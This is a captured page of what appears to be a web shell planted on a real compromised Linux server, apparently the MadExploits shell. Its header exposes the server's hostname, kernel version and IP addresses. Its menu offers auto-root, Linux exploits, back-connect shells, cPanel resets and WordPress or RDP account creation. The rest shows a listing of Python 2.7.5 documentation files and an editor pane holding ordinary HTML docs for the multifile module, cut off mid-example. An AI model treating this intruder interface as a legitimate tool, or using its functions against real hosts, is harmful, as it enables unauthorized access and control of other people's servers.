Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.188.137.209
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python-docs-2.7.5 /
html /
library /
[ HOME SHELL ]
Name
Size
Permission
Action
2to3.html
49.27
KB
-rw-r--r--
__builtin__.html
10.26
KB
-rw-r--r--
__future__.html
13.79
KB
-rw-r--r--
__main__.html
7.05
KB
-rw-r--r--
_winreg.html
59.21
KB
-rw-r--r--
abc.html
23.9
KB
-rw-r--r--
aepack.html
13.16
KB
-rw-r--r--
aetools.html
14.91
KB
-rw-r--r--
aetypes.html
18.88
KB
-rw-r--r--
aifc.html
22.4
KB
-rw-r--r--
al.html
17.34
KB
-rw-r--r--
allos.html
33.72
KB
-rw-r--r--
anydbm.html
16.33
KB
-rw-r--r--
archiving.html
9.26
KB
-rw-r--r--
argparse.html
237.62
KB
-rw-r--r--
array.html
29.29
KB
-rw-r--r--
ast.html
34.98
KB
-rw-r--r--
asynchat.html
31.43
KB
-rw-r--r--
asyncore.html
36.51
KB
-rw-r--r--
atexit.html
16.8
KB
-rw-r--r--
audioop.html
31.36
KB
-rw-r--r--
autogil.html
8.19
KB
-rw-r--r--
base64.html
19.67
KB
-rw-r--r--
basehttpserver.html
34.04
KB
-rw-r--r--
bastion.html
11.04
KB
-rw-r--r--
bdb.html
36.68
KB
-rw-r--r--
binascii.html
20.67
KB
-rw-r--r--
binhex.html
10.58
KB
-rw-r--r--
bisect.html
23.24
KB
-rw-r--r--
bsddb.html
26.43
KB
-rw-r--r--
bz2.html
26.08
KB
-rw-r--r--
calendar.html
37.79
KB
-rw-r--r--
carbon.html
48.94
KB
-rw-r--r--
cd.html
27.96
KB
-rw-r--r--
cgi.html
49.92
KB
-rw-r--r--
cgihttpserver.html
13.1
KB
-rw-r--r--
cgitb.html
11.41
KB
-rw-r--r--
chunk.html
14.66
KB
-rw-r--r--
cmath.html
25.63
KB
-rw-r--r--
cmd.html
26.09
KB
-rw-r--r--
code.html
24.58
KB
-rw-r--r--
codecs.html
100.64
KB
-rw-r--r--
codeop.html
14.84
KB
-rw-r--r--
collections.html
133.96
KB
-rw-r--r--
colorpicker.html
7.52
KB
-rw-r--r--
colorsys.html
11.04
KB
-rw-r--r--
commands.html
14.36
KB
-rw-r--r--
compileall.html
16.83
KB
-rw-r--r--
compiler.html
67.75
KB
-rw-r--r--
configparser.html
62.13
KB
-rw-r--r--
constants.html
12.83
KB
-rw-r--r--
contextlib.html
19.39
KB
-rw-r--r--
cookie.html
39.07
KB
-rw-r--r--
cookielib.html
83.82
KB
-rw-r--r--
copy.html
12.19
KB
-rw-r--r--
copy_reg.html
13.76
KB
-rw-r--r--
crypt.html
10.04
KB
-rw-r--r--
crypto.html
7.59
KB
-rw-r--r--
csv.html
67.37
KB
-rw-r--r--
ctypes.html
238.78
KB
-rw-r--r--
curses.ascii.html
22.29
KB
-rw-r--r--
curses.html
146.63
KB
-rw-r--r--
curses.panel.html
14.39
KB
-rw-r--r--
custominterp.html
7.62
KB
-rw-r--r--
datatypes.html
16.84
KB
-rw-r--r--
datetime.html
226.59
KB
-rw-r--r--
dbhash.html
15.48
KB
-rw-r--r--
dbm.html
12.07
KB
-rw-r--r--
debug.html
10.15
KB
-rw-r--r--
decimal.html
194.44
KB
-rw-r--r--
development.html
14.17
KB
-rw-r--r--
difflib.html
84.83
KB
-rw-r--r--
dircache.html
11.41
KB
-rw-r--r--
dis.html
69.95
KB
-rw-r--r--
distutils.html
8.05
KB
-rw-r--r--
dl.html
16.33
KB
-rw-r--r--
doctest.html
165.54
KB
-rw-r--r--
docxmlrpcserver.html
16.43
KB
-rw-r--r--
dumbdbm.html
14.02
KB
-rw-r--r--
dummy_thread.html
9.43
KB
-rw-r--r--
dummy_threading.html
8.37
KB
-rw-r--r--
easydialogs.html
30.55
KB
-rw-r--r--
email-examples.html
45.65
KB
-rw-r--r--
email.charset.html
26.8
KB
-rw-r--r--
email.encoders.html
11.86
KB
-rw-r--r--
email.errors.html
15.77
KB
-rw-r--r--
email.generator.html
20.77
KB
-rw-r--r--
email.header.html
26.92
KB
-rw-r--r--
email.html
44.24
KB
-rw-r--r--
email.iterators.html
11.52
KB
-rw-r--r--
email.message.html
63.16
KB
-rw-r--r--
email.mime.html
27.93
KB
-rw-r--r--
email.parser.html
30.45
KB
-rw-r--r--
email.util.html
24.46
KB
-rw-r--r--
errno.html
37.99
KB
-rw-r--r--
exceptions.html
56.13
KB
-rw-r--r--
fcntl.html
22.67
KB
-rw-r--r--
filecmp.html
22.3
KB
-rw-r--r--
fileformats.html
9.14
KB
-rw-r--r--
fileinput.html
24.28
KB
-rw-r--r--
filesys.html
10.2
KB
-rw-r--r--
fl.html
49.92
KB
-rw-r--r--
fm.html
11.91
KB
-rw-r--r--
fnmatch.html
14.58
KB
-rw-r--r--
formatter.html
34.06
KB
-rw-r--r--
fpectl.html
16.01
KB
-rw-r--r--
fpformat.html
10.59
KB
-rw-r--r--
fractions.html
22.61
KB
-rw-r--r--
framework.html
33.34
KB
-rw-r--r--
frameworks.html
7.14
KB
-rw-r--r--
ftplib.html
43.99
KB
-rw-r--r--
functions.html
183.14
KB
-rw-r--r--
functools.html
27.17
KB
-rw-r--r--
future_builtins.html
13.04
KB
-rw-r--r--
gc.html
25.75
KB
-rw-r--r--
gdbm.html
15.96
KB
-rw-r--r--
gensuitemodule.html
11.51
KB
-rw-r--r--
getopt.html
23.66
KB
-rw-r--r--
getpass.html
10.65
KB
-rw-r--r--
gettext.html
78.76
KB
-rw-r--r--
gl.html
22.09
KB
-rw-r--r--
glob.html
13.26
KB
-rw-r--r--
grp.html
10.49
KB
-rw-r--r--
gzip.html
18.99
KB
-rw-r--r--
hashlib.html
18.2
KB
-rw-r--r--
heapq.html
31.61
KB
-rw-r--r--
hmac.html
10.46
KB
-rw-r--r--
hotshot.html
18.65
KB
-rw-r--r--
htmllib.html
25.32
KB
-rw-r--r--
htmlparser.html
39.11
KB
-rw-r--r--
httplib.html
62.95
KB
-rw-r--r--
i18n.html
9.52
KB
-rw-r--r--
ic.html
17.17
KB
-rw-r--r--
idle.html
20.9
KB
-rw-r--r--
imageop.html
14.76
KB
-rw-r--r--
imaplib.html
51.99
KB
-rw-r--r--
imgfile.html
11.71
KB
-rw-r--r--
imghdr.html
11.3
KB
-rw-r--r--
imp.html
34.34
KB
-rw-r--r--
importlib.html
8.26
KB
-rw-r--r--
imputil.html
31.81
KB
-rw-r--r--
index.html
72.78
KB
-rw-r--r--
inspect.html
50.71
KB
-rw-r--r--
internet.html
24.87
KB
-rw-r--r--
intro.html
8.93
KB
-rw-r--r--
io.html
98.13
KB
-rw-r--r--
ipc.html
13.41
KB
-rw-r--r--
itertools.html
115.91
KB
-rw-r--r--
jpeg.html
12.74
KB
-rw-r--r--
json.html
67.04
KB
-rw-r--r--
keyword.html
7.68
KB
-rw-r--r--
language.html
11.03
KB
-rw-r--r--
linecache.html
10.59
KB
-rw-r--r--
locale.html
55.14
KB
-rw-r--r--
logging.config.html
63.36
KB
-rw-r--r--
logging.handlers.html
69.64
KB
-rw-r--r--
logging.html
95.64
KB
-rw-r--r--
mac.html
21.79
KB
-rw-r--r--
macos.html
14.76
KB
-rw-r--r--
macosa.html
12.96
KB
-rw-r--r--
macostools.html
15.52
KB
-rw-r--r--
macpath.html
7.76
KB
-rw-r--r--
mailbox.html
156.75
KB
-rw-r--r--
mailcap.html
13.21
KB
-rw-r--r--
markup.html
18.77
KB
-rw-r--r--
marshal.html
17.98
KB
-rw-r--r--
math.html
39.24
KB
-rw-r--r--
md5.html
13.97
KB
-rw-r--r--
mhlib.html
21.54
KB
-rw-r--r--
mimetools.html
19.25
KB
-rw-r--r--
mimetypes.html
28.39
KB
-rw-r--r--
mimewriter.html
15.02
KB
-rw-r--r--
mimify.html
13.36
KB
-rw-r--r--
miniaeframe.html
12.2
KB
-rw-r--r--
misc.html
6.87
KB
-rw-r--r--
mm.html
9.03
KB
-rw-r--r--
mmap.html
28.36
KB
-rw-r--r--
modulefinder.html
15.31
KB
-rw-r--r--
modules.html
8.46
KB
-rw-r--r--
msilib.html
52.43
KB
-rw-r--r--
msvcrt.html
19.37
KB
-rw-r--r--
multifile.html
24.3
KB
-rw-r--r--
multiprocessing.html
365.71
KB
-rw-r--r--
mutex.html
11.23
KB
-rw-r--r--
netdata.html
16.98
KB
-rw-r--r--
netrc.html
12.3
KB
-rw-r--r--
new.html
12.12
KB
-rw-r--r--
nis.html
10.64
KB
-rw-r--r--
nntplib.html
41.92
KB
-rw-r--r--
numbers.html
37.75
KB
-rw-r--r--
numeric.html
13.55
KB
-rw-r--r--
operator.html
82
KB
-rw-r--r--
optparse.html
222.56
KB
-rw-r--r--
os.html
214.25
KB
-rw-r--r--
os.path.html
38.34
KB
-rw-r--r--
ossaudiodev.html
41.5
KB
-rw-r--r--
othergui.html
9.08
KB
-rw-r--r--
parser.html
39.36
KB
-rw-r--r--
pdb.html
33.96
KB
-rw-r--r--
persistence.html
14.87
KB
-rw-r--r--
pickle.html
102.27
KB
-rw-r--r--
pickletools.html
10.63
KB
-rw-r--r--
pipes.html
18.01
KB
-rw-r--r--
pkgutil.html
25.11
KB
-rw-r--r--
platform.html
28.37
KB
-rw-r--r--
plistlib.html
17.03
KB
-rw-r--r--
popen2.html
25.43
KB
-rw-r--r--
poplib.html
22.32
KB
-rw-r--r--
posix.html
14.41
KB
-rw-r--r--
posixfile.html
19.76
KB
-rw-r--r--
pprint.html
29.92
KB
-rw-r--r--
profile.html
63.56
KB
-rw-r--r--
pty.html
9.48
KB
-rw-r--r--
pwd.html
11.43
KB
-rw-r--r--
py_compile.html
11.12
KB
-rw-r--r--
pyclbr.html
14.71
KB
-rw-r--r--
pydoc.html
11.48
KB
-rw-r--r--
pyexpat.html
71.53
KB
-rw-r--r--
python.html
12.27
KB
-rw-r--r--
queue.html
24.22
KB
-rw-r--r--
quopri.html
11.9
KB
-rw-r--r--
random.html
37.83
KB
-rw-r--r--
re.html
134.74
KB
-rw-r--r--
readline.html
28.24
KB
-rw-r--r--
repr.html
20.43
KB
-rw-r--r--
resource.html
26.48
KB
-rw-r--r--
restricted.html
11.65
KB
-rw-r--r--
rexec.html
37.41
KB
-rw-r--r--
rfc822.html
42.22
KB
-rw-r--r--
rlcompleter.html
13.51
KB
-rw-r--r--
robotparser.html
12.27
KB
-rw-r--r--
runpy.html
19.34
KB
-rw-r--r--
sched.html
18.54
KB
-rw-r--r--
scrolledtext.html
9.32
KB
-rw-r--r--
select.html
39.67
KB
-rw-r--r--
sets.html
36.92
KB
-rw-r--r--
sgi.html
9.71
KB
-rw-r--r--
sgmllib.html
30.77
KB
-rw-r--r--
sha.html
12.09
KB
-rw-r--r--
shelve.html
27.02
KB
-rw-r--r--
shlex.html
32.1
KB
-rw-r--r--
shutil.html
40.22
KB
-rw-r--r--
signal.html
31.14
KB
-rw-r--r--
simplehttpserver.html
18.41
KB
-rw-r--r--
simplexmlrpcserver.html
31.39
KB
-rw-r--r--
site.html
23.64
KB
-rw-r--r--
smtpd.html
12.46
KB
-rw-r--r--
smtplib.html
42.13
KB
-rw-r--r--
sndhdr.html
10.02
KB
-rw-r--r--
socket.html
106.34
KB
-rw-r--r--
socketserver.html
59.83
KB
-rw-r--r--
someos.html
15.11
KB
-rw-r--r--
spwd.html
10.33
KB
-rw-r--r--
sqlite3.html
139.5
KB
-rw-r--r--
ssl.html
65.62
KB
-rw-r--r--
stat.html
32.31
KB
-rw-r--r--
statvfs.html
10.6
KB
-rw-r--r--
stdtypes.html
260.4
KB
-rw-r--r--
string.html
106.65
KB
-rw-r--r--
stringio.html
18.81
KB
-rw-r--r--
stringprep.html
16.13
KB
-rw-r--r--
strings.html
14.93
KB
-rw-r--r--
struct.html
40.88
KB
-rw-r--r--
subprocess.html
84.91
KB
-rw-r--r--
sun.html
6.84
KB
-rw-r--r--
sunau.html
27.1
KB
-rw-r--r--
sunaudio.html
17.79
KB
-rw-r--r--
symbol.html
7.66
KB
-rw-r--r--
symtable.html
22.94
KB
-rw-r--r--
sys.html
98.7
KB
-rw-r--r--
sysconfig.html
23.84
KB
-rw-r--r--
syslog.html
17.92
KB
-rw-r--r--
tabnanny.html
10.63
KB
-rw-r--r--
tarfile.html
78.68
KB
-rw-r--r--
telnetlib.html
25.48
KB
-rw-r--r--
tempfile.html
29.42
KB
-rw-r--r--
termios.html
16.01
KB
-rw-r--r--
test.html
52.62
KB
-rw-r--r--
textwrap.html
27.25
KB
-rw-r--r--
thread.html
20.47
KB
-rw-r--r--
threading.html
76.69
KB
-rw-r--r--
time.html
56.93
KB
-rw-r--r--
timeit.html
36.27
KB
-rw-r--r--
tix.html
46.96
KB
-rw-r--r--
tk.html
23.64
KB
-rw-r--r--
tkinter.html
67.67
KB
-rw-r--r--
token.html
19.62
KB
-rw-r--r--
tokenize.html
18.45
KB
-rw-r--r--
trace.html
25.54
KB
-rw-r--r--
traceback.html
33.44
KB
-rw-r--r--
ttk.html
101.75
KB
-rw-r--r--
tty.html
9.06
KB
-rw-r--r--
turtle.html
211.74
KB
-rw-r--r--
types.html
27.59
KB
-rw-r--r--
undoc.html
23.16
KB
-rw-r--r--
unicodedata.html
18.55
KB
-rw-r--r--
unittest.html
202.85
KB
-rw-r--r--
unix.html
10.55
KB
-rw-r--r--
urllib.html
58.68
KB
-rw-r--r--
urllib2.html
100.58
KB
-rw-r--r--
urlparse.html
40.41
KB
-rw-r--r--
user.html
11.83
KB
-rw-r--r--
userdict.html
29.73
KB
-rw-r--r--
uu.html
11.03
KB
-rw-r--r--
uuid.html
28.19
KB
-rw-r--r--
warnings.html
46.6
KB
-rw-r--r--
wave.html
22.22
KB
-rw-r--r--
weakref.html
36.52
KB
-rw-r--r--
webbrowser.html
23.07
KB
-rw-r--r--
whichdb.html
8.85
KB
-rw-r--r--
windows.html
9.33
KB
-rw-r--r--
winsound.html
18.75
KB
-rw-r--r--
wsgiref.html
81.04
KB
-rw-r--r--
xdrlib.html
29.94
KB
-rw-r--r--
xml.dom.html
89.04
KB
-rw-r--r--
xml.dom.minidom.html
40.42
KB
-rw-r--r--
xml.dom.pulldom.html
12.71
KB
-rw-r--r--
xml.etree.elementtree.html
93.22
KB
-rw-r--r--
xml.html
16.49
KB
-rw-r--r--
xml.sax.handler.html
38.63
KB
-rw-r--r--
xml.sax.html
20.22
KB
-rw-r--r--
xml.sax.reader.html
39.09
KB
-rw-r--r--
xml.sax.utils.html
14.26
KB
-rw-r--r--
xmlrpclib.html
60.79
KB
-rw-r--r--
zipfile.html
53.14
KB
-rw-r--r--
zipimport.html
20.42
KB
-rw-r--r--
zlib.html
25.46
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : multifile.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>18.10. multifile — Support for files containing distinct parts — Python 2.7.5 documentation</title> <link rel="stylesheet" href="../_static/default.css" type="text/css" /> <link rel="stylesheet" href="../_static/pygments.css" type="text/css" /> <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT: '../', VERSION: '2.7.5', COLLAPSE_INDEX: false, FILE_SUFFIX: '.html', HAS_SOURCE: true }; </script> <script type="text/javascript" src="../_static/jquery.js"></script> <script type="text/javascript" src="../_static/underscore.js"></script> <script type="text/javascript" src="../_static/doctools.js"></script> <script type="text/javascript" src="../_static/sidebar.js"></script> <link rel="search" type="application/opensearchdescription+xml" title="Search within Python 2.7.5 documentation" href="../_static/opensearch.xml"/> <link rel="author" title="About these documents" href="../about.html" /> <link rel="copyright" title="Copyright" href="../copyright.html" /> <link rel="top" title="Python 2.7.5 documentation" href="../index.html" /> <link rel="up" title="18. Internet Data Handling" href="netdata.html" /> <link rel="next" title="18.11. rfc822 — Parse RFC 2822 mail headers" href="rfc822.html" /> <link rel="prev" title="18.9. mimify — MIME processing of mail messages" href="mimify.html" /> <link rel="shortcut icon" type="image/png" href="../_static/py.png" /> <script type="text/javascript" src="../_static/copybutton.js"></script> </head> <body> <div class="related"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" accesskey="I">index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li class="right" > <a href="rfc822.html" title="18.11. rfc822 — Parse RFC 2822 mail headers" accesskey="N">next</a> |</li> <li class="right" > <a href="mimify.html" title="18.9. mimify — MIME processing of mail messages" accesskey="P">previous</a> |</li> <li><img src="../_static/py.png" alt="" style="vertical-align: middle; margin-top: -1px"/></li> <li><a href="http://www.python.org/">Python</a> »</li> <li> <a href="../index.html">Python 2.7.5 documentation</a> » </li> <li><a href="index.html" >The Python Standard Library</a> »</li> <li><a href="netdata.html" accesskey="U">18. Internet Data Handling</a> »</li> </ul> </div> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body"> <div class="section" id="module-multifile"> <span id="multifile-support-for-files-containing-distinct-parts"></span><h1>18.10. <a class="reference internal" href="#module-multifile" title="multifile: Support for reading files which contain distinct parts, such as some MIME data. (deprecated)"><tt class="xref py py-mod docutils literal"><span class="pre">multifile</span></tt></a> — Support for files containing distinct parts<a class="headerlink" href="#module-multifile" title="Permalink to this headline">¶</a></h1> <p class="deprecated"> <span class="versionmodified">Deprecated since version 2.5: </span>The <a class="reference internal" href="email.html#module-email" title="email: Package supporting the parsing, manipulating, and generating email messages, including MIME documents."><tt class="xref py py-mod docutils literal"><span class="pre">email</span></tt></a> package should be used in preference to the <a class="reference internal" href="#module-multifile" title="multifile: Support for reading files which contain distinct parts, such as some MIME data. (deprecated)"><tt class="xref py py-mod docutils literal"><span class="pre">multifile</span></tt></a> module. This module is present only to maintain backward compatibility.</p> <p>The <a class="reference internal" href="#multifile.MultiFile" title="multifile.MultiFile"><tt class="xref py py-class docutils literal"><span class="pre">MultiFile</span></tt></a> object enables you to treat sections of a text file as file-like input objects, with <tt class="docutils literal"><span class="pre">''</span></tt> being returned by <a class="reference internal" href="readline.html#module-readline" title="readline: GNU readline support for Python. (Unix)"><tt class="xref py py-meth docutils literal"><span class="pre">readline()</span></tt></a> when a given delimiter pattern is encountered. The defaults of this class are designed to make it useful for parsing MIME multipart messages, but by subclassing it and overriding methods it can be easily adapted for more general use.</p> <dl class="class"> <dt id="multifile.MultiFile"> <em class="property">class </em><tt class="descclassname">multifile.</tt><tt class="descname">MultiFile</tt><big>(</big><em>fp</em><span class="optional">[</span>, <em>seekable</em><span class="optional">]</span><big>)</big><a class="headerlink" href="#multifile.MultiFile" title="Permalink to this definition">¶</a></dt> <dd><p>Create a multi-file. You must instantiate this class with an input object argument for the <a class="reference internal" href="#multifile.MultiFile" title="multifile.MultiFile"><tt class="xref py py-class docutils literal"><span class="pre">MultiFile</span></tt></a> instance to get lines from, such as a file object returned by <a class="reference internal" href="functions.html#open" title="open"><tt class="xref py py-func docutils literal"><span class="pre">open()</span></tt></a>.</p> <p><a class="reference internal" href="#multifile.MultiFile" title="multifile.MultiFile"><tt class="xref py py-class docutils literal"><span class="pre">MultiFile</span></tt></a> only ever looks at the input object’s <a class="reference internal" href="readline.html#module-readline" title="readline: GNU readline support for Python. (Unix)"><tt class="xref py py-meth docutils literal"><span class="pre">readline()</span></tt></a>, <a class="reference internal" href="#multifile.MultiFile.seek" title="multifile.MultiFile.seek"><tt class="xref py py-meth docutils literal"><span class="pre">seek()</span></tt></a> and <a class="reference internal" href="#multifile.MultiFile.tell" title="multifile.MultiFile.tell"><tt class="xref py py-meth docutils literal"><span class="pre">tell()</span></tt></a> methods, and the latter two are only needed if you want random access to the individual MIME parts. To use <a class="reference internal" href="#multifile.MultiFile" title="multifile.MultiFile"><tt class="xref py py-class docutils literal"><span class="pre">MultiFile</span></tt></a> on a non-seekable stream object, set the optional <em>seekable</em> argument to false; this will prevent using the input object’s <a class="reference internal" href="#multifile.MultiFile.seek" title="multifile.MultiFile.seek"><tt class="xref py py-meth docutils literal"><span class="pre">seek()</span></tt></a> and <a class="reference internal" href="#multifile.MultiFile.tell" title="multifile.MultiFile.tell"><tt class="xref py py-meth docutils literal"><span class="pre">tell()</span></tt></a> methods.</p> </dd></dl> <p>It will be useful to know that in <a class="reference internal" href="#multifile.MultiFile" title="multifile.MultiFile"><tt class="xref py py-class docutils literal"><span class="pre">MultiFile</span></tt></a>‘s view of the world, text is composed of three kinds of lines: data, section-dividers, and end-markers. MultiFile is designed to support parsing of messages that may have multiple nested message parts, each with its own pattern for section-divider and end-marker lines.</p> <div class="admonition-see-also admonition seealso"> <p class="first admonition-title">See also</p> <dl class="last docutils"> <dt>Module <a class="reference internal" href="email.html#module-email" title="email: Package supporting the parsing, manipulating, and generating email messages, including MIME documents."><tt class="xref py py-mod docutils literal"><span class="pre">email</span></tt></a></dt> <dd>Comprehensive email handling package; supersedes the <a class="reference internal" href="#module-multifile" title="multifile: Support for reading files which contain distinct parts, such as some MIME data. (deprecated)"><tt class="xref py py-mod docutils literal"><span class="pre">multifile</span></tt></a> module.</dd> </dl> </div> <div class="section" id="multifile-objects"> <span id="id1"></span><h2>18.10.1. MultiFile Objects<a class="headerlink" href="#multifile-objects" title="Permalink to this headline">¶</a></h2> <p>A <a class="reference internal" href="#multifile.MultiFile" title="multifile.MultiFile"><tt class="xref py py-class docutils literal"><span class="pre">MultiFile</span></tt></a> instance has the following methods:</p> <dl class="method"> <dt id="multifile.MultiFile.readline"> <tt class="descclassname">MultiFile.</tt><tt class="descname">readline</tt><big>(</big><em>str</em><big>)</big><a class="headerlink" href="#multifile.MultiFile.readline" title="Permalink to this definition">¶</a></dt> <dd><p>Read a line. If the line is data (not a section-divider or end-marker or real EOF) return it. If the line matches the most-recently-stacked boundary, return <tt class="docutils literal"><span class="pre">''</span></tt> and set <tt class="docutils literal"><span class="pre">self.last</span></tt> to 1 or 0 according as the match is or is not an end-marker. If the line matches any other stacked boundary, raise an error. On encountering end-of-file on the underlying stream object, the method raises <tt class="xref py py-exc docutils literal"><span class="pre">Error</span></tt> unless all boundaries have been popped.</p> </dd></dl> <dl class="method"> <dt id="multifile.MultiFile.readlines"> <tt class="descclassname">MultiFile.</tt><tt class="descname">readlines</tt><big>(</big><em>str</em><big>)</big><a class="headerlink" href="#multifile.MultiFile.readlines" title="Permalink to this definition">¶</a></dt> <dd><p>Return all lines remaining in this part as a list of strings.</p> </dd></dl> <dl class="method"> <dt id="multifile.MultiFile.read"> <tt class="descclassname">MultiFile.</tt><tt class="descname">read</tt><big>(</big><big>)</big><a class="headerlink" href="#multifile.MultiFile.read" title="Permalink to this definition">¶</a></dt> <dd><p>Read all lines, up to the next section. Return them as a single (multiline) string. Note that this doesn’t take a size argument!</p> </dd></dl> <dl class="method"> <dt id="multifile.MultiFile.seek"> <tt class="descclassname">MultiFile.</tt><tt class="descname">seek</tt><big>(</big><em>pos</em><span class="optional">[</span>, <em>whence</em><span class="optional">]</span><big>)</big><a class="headerlink" href="#multifile.MultiFile.seek" title="Permalink to this definition">¶</a></dt> <dd><p>Seek. Seek indices are relative to the start of the current section. The <em>pos</em> and <em>whence</em> arguments are interpreted as for a file seek.</p> </dd></dl> <dl class="method"> <dt id="multifile.MultiFile.tell"> <tt class="descclassname">MultiFile.</tt><tt class="descname">tell</tt><big>(</big><big>)</big><a class="headerlink" href="#multifile.MultiFile.tell" title="Permalink to this definition">¶</a></dt> <dd><p>Return the file position relative to the start of the current section.</p> </dd></dl> <dl class="method"> <dt id="multifile.MultiFile.next"> <tt class="descclassname">MultiFile.</tt><tt class="descname">next</tt><big>(</big><big>)</big><a class="headerlink" href="#multifile.MultiFile.next" title="Permalink to this definition">¶</a></dt> <dd><p>Skip lines to the next section (that is, read lines until a section-divider or end-marker has been consumed). Return true if there is such a section, false if an end-marker is seen. Re-enable the most-recently-pushed boundary.</p> </dd></dl> <dl class="method"> <dt id="multifile.MultiFile.is_data"> <tt class="descclassname">MultiFile.</tt><tt class="descname">is_data</tt><big>(</big><em>str</em><big>)</big><a class="headerlink" href="#multifile.MultiFile.is_data" title="Permalink to this definition">¶</a></dt> <dd><p>Return true if <em>str</em> is data and false if it might be a section boundary. As written, it tests for a prefix other than <tt class="docutils literal"><span class="pre">'-</span></tt><tt class="docutils literal"><span class="pre">-'</span></tt> at start of line (which all MIME boundaries have) but it is declared so it can be overridden in derived classes.</p> <p>Note that this test is used intended as a fast guard for the real boundary tests; if it always returns false it will merely slow processing, not cause it to fail.</p> </dd></dl> <dl class="method"> <dt id="multifile.MultiFile.push"> <tt class="descclassname">MultiFile.</tt><tt class="descname">push</tt><big>(</big><em>str</em><big>)</big><a class="headerlink" href="#multifile.MultiFile.push" title="Permalink to this definition">¶</a></dt> <dd><p>Push a boundary string. When a decorated version of this boundary is found as an input line, it will be interpreted as a section-divider or end-marker (depending on the decoration, see <span class="target" id="index-0"></span><a class="rfc reference external" href="http://tools.ietf.org/html/rfc2045.html"><strong>RFC 2045</strong></a>). All subsequent reads will return the empty string to indicate end-of-file, until a call to <a class="reference internal" href="#multifile.MultiFile.pop" title="multifile.MultiFile.pop"><tt class="xref py py-meth docutils literal"><span class="pre">pop()</span></tt></a> removes the boundary a or <a class="reference internal" href="#multifile.MultiFile.next" title="multifile.MultiFile.next"><tt class="xref py py-meth docutils literal"><span class="pre">next()</span></tt></a> call reenables it.</p> <p>It is possible to push more than one boundary. Encountering the most-recently-pushed boundary will return EOF; encountering any other boundary will raise an error.</p> </dd></dl> <dl class="method"> <dt id="multifile.MultiFile.pop"> <tt class="descclassname">MultiFile.</tt><tt class="descname">pop</tt><big>(</big><big>)</big><a class="headerlink" href="#multifile.MultiFile.pop" title="Permalink to this definition">¶</a></dt> <dd><p>Pop a section boundary. This boundary will no longer be interpreted as EOF.</p> </dd></dl> <dl class="method"> <dt id="multifile.MultiFile.section_divider"> <tt class="descclassname">MultiFile.</tt><tt class="descname">section_divider</tt><big>(</big><em>str</em><big>)</big><a class="headerlink" href="#multifile.MultiFile.section_divider" title="Permalink to this definition">¶</a></dt> <dd><p>Turn a boundary into a section-divider line. By default, this method prepends <tt class="docutils literal"><span class="pre">'--'</span></tt> (which MIME section boundaries have) but it is declared so it can be overridden in derived classes. This method need not append LF or CR-LF, as comparison with the result ignores trailing whitespace.</p> </dd></dl> <dl class="method"> <dt id="multifile.MultiFile.end_marker"> <tt class="descclassname">MultiFile.</tt><tt class="descname">end_marker</tt><big>(</big><em>str</em><big>)</big><a class="headerlink" href="#multifile.MultiFile.end_marker" title="Permalink to this definition">¶</a></dt> <dd><p>Turn a boundary string into an end-marker line. By default, this method prepends <tt class="docutils literal"><span class="pre">'--'</span></tt> and appends <tt class="docutils literal"><span class="pre">'--'</span></tt> (like a MIME-multipart end-of-message marker) but it is declared so it can be overridden in derived classes. This method need not append LF or CR-LF, as comparison with the result ignores trailing whitespace.</p> </dd></dl> <p>Finally, <a class="reference internal" href="#multifile.MultiFile" title="multifile.MultiFile"><tt class="xref py py-class docutils literal"><span class="pre">MultiFile</span></tt></a> instances have two public instance variables:</p> <dl class="attribute"> <dt id="multifile.MultiFile.level"> <tt class="descclassname">MultiFile.</tt><tt class="descname">level</tt><a class="headerlink" href="#multifile.MultiFile.level" title="Permalink to this definition">¶</a></dt> <dd><p>Nesting depth of the current part.</p> </dd></dl> <dl class="attribute"> <dt id="multifile.MultiFile.last"> <tt class="descclassname">MultiFile.</tt><tt class="descname">last</tt><a class="headerlink" href="#multifile.MultiFile.last" title="Permalink to this definition">¶</a></dt> <dd><p>True if the last end-of-file was for an end-of-message marker.</p> </dd></dl> </div> <div class="section" id="multifile-example"> <span id="id2"></span><h2>18.10.2. <a class="reference internal" href="#multifile.MultiFile" title="multifile.MultiFile"><tt class="xref py py-class docutils literal"><span class="pre">MultiFile</span></tt></a> Example<a class="headerlink" href="#multifile-example" title="Permalink to this headline">¶</a></h2> <div class="highlight-python"><div class="highlight"><pre><span class="kn">import</span> <span class="nn">mimetools</span> <span class="kn">import</span> <span class="nn">multifile</span> <span class="kn">import</span> <span class="nn">StringIO</span> <span class="k">def</span> <span class="nf">extract_mime_part_matching</span><span class="p">(</span><span class="n">stream</span><span class="p">,</span> <span class="n">mimetype</span><span class="p">):</span> <span class="sd">"""Return the first element in a multipart MIME message on stream</span> <span class="sd"> matching mimetype."""</span> <span class="n">msg</span> <span class="o">=</span> <span class="n">mimetools</span><span class="o">.</span><span class="n">Message</span><span class="p">(</span><span class="n">stream</span><span class="p">)</span> <span class="n">msgtype</span> <span class="o">=</span> <span class="n">msg</span><span class="o">.</span><span class="n">gettype</span><span class="p">()</span> <span class="n">params</span> <span class="o">=</span> <span class="n">msg</span><span class="o">.</span><span class="n">getplist</span><span class="p">()</span> <span class="n">data</span> <span class="o">=</span> <span class="n">StringIO</span><span class="o">.</span><span class="n">StringIO</span><span class="p">()</span> <span class="k">if</span> <span class="n">msgtype</span><span class="p">[:</span><span class="mi">10</span><span class="p">]</span> <span class="o">==</span> <span class="s">"multipart/"</span><span class="p">:</span> <span class="nb">file</span> <span class="o">=</span> <span class="n">multifile</span><span class="o">.</span><span class="n">MultiFile</span><span 